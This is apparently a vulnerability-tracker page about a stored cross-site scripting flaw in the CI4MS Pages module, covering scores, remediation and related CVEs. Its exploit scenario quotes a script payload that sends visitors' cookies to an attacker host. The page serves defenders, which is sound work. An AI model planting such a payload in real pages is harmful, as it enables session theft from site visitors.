Skip to main content

Ci4ms CVE-2026-39392

| EUVDEUVD-2026-20485 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-08 GitHub_M GHSA-fjpj-6qcq-6pw2
4.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 5.5 reflects a network-based attack with low complexity and no user interaction required (UI:N), but requires high-privilege credentials (PR:H), limiting the attack surface to administrators or compromised admin accounts. EPSS and KEV status are not provided in available data. The actual risk is moderately elevated despite the moderate CVSS score: the vulnerability affects confidentiality and integrity (C:L, I:L) but not availability, and the scope is changed (S:C), meaning an attacker can impact resources beyond the vulnerable component (visitor sessions). The requirement for authenticated admin access significantly reduces real-world likelihood, as this presupposes insider threat, compromised credentials, or prior privilege escalation. However, if an organization has weak access controls or multiple admin accounts, the attack surface expands. The absence of public exploit code and KEV confirmation suggests limited active exploitation, but the straightforward nature of stored XSS means a motivated attacker with credentials poses a practical risk. Organizations with high-privilege admin account security should prioritize patching, while those with weak credential management face elevated risk.

Exploit ScenarioDerived

An attacker with compromised or legitimately-held administrator credentials logs into CI4MS and navigates to the Pages module. They create or edit a page and inject a JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>) into the page content field. Because the Pages module does not apply html_purify validation, the malicious payload is stored in the database as-is. When any public visitor views that page, the unsanitized content is echoed directly into the HTML response, causing the attacker's JavaScript to execute in the visitor's browser context, allowing credential theft, session hijacking, or redirection to phishing pages. No public exploit code is required; the attack is a straightforward matter of API/form submission with malicious HTML.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Stored cross-site scripting (XSS) in CI4MS prior to 0.31.4.0 allows authenticated administrators with page-editing privileges to inject arbitrary JavaScript into page content that executes in the browsers of all public visitors. The Pages module fails to apply HTML sanitization during content creation and updates, storing unsanitized HTML directly in the database and rendering it without escaping on the frontend, whereas the Blog module correctly implements this protection. An attacker with admin credentials can compromise the integrity and confidentiality of visitor sessions. CVSS 5.5, no public exploit code identified at time of analysis.

RemediationAI

Vendor-released patch: CI4MS 0.31.4.0 or later. Upgrade immediately to the patched version via the official repository or package manager. As a temporary workaround for organizations unable to patch immediately, restrict page-editing privileges to the minimum necessary set of trusted administrators and implement Content Security Policy (CSP) headers on the frontend to mitigate JavaScript execution from untrusted inline scripts (e.g., script-src 'self'). Additionally, audit all existing page content in the database for suspicious JavaScript or HTML and manually sanitize or remove malicious payloads. Consult the GitHub Security Advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2 for full patching instructions.

Affected VersionsENISA

ci4ms < 0.31.4.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.4.0
euvd ci4ms fix: 0.31.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CI4MS is a modular CMS built on the CodeIgniter 4 framework (cpe:2.3:a:ci4-cms-erp:ci4ms). The vulnerability stems from inconsistent validation logic across modules: the Blog module applies the html_purify validation rule to sanitize user-supplied content, but the Pages module omits this rule during both create and update operations. Unsanitized content is persisted to the database and later rendered on the public frontend using a direct echo statement (echo $pageInfo->content) without HTML entity encoding or output escaping. This represents a classic Stored XSS (CWE-79) where user input flows directly into output context without sanitization, allowing JavaScript payload persistence and cross-domain execution against all site visitors.

Know when Ci4ms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
Jul 24, 2026 - 21:22 NVD
5.5 (MEDIUM) 4.8 (MEDIUM)
Patch released
Apr 09, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 08, 2026 - 14:30 nvd
MEDIUM 5.5

DescriptionNVD

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. This vulnerability is fixed in 0.31.4.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Ci4ms

View all
CVE-2026-25510 CRITICAL POC
9.9 Feb 03

CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute

CVE-2026-34558 CRITICAL
9.1 Mar 30

Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a

CVE-2026-34557 CRITICAL
9.1 Mar 30

Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript

CVE-2026-35035 CRITICAL
9.0 Apr 06

Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa

CVE-2026-34571 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to

CVE-2026-34569 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript

CVE-2026-34568 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc

CVE-2026-34567 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges

CVE-2026-34566 CRITICAL
9.0 Apr 01

Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici

CVE-2026-34565 CRITICAL
9.0 Apr 01

Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali

CVE-2026-34564 CRITICAL
9.0 Apr 01

Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy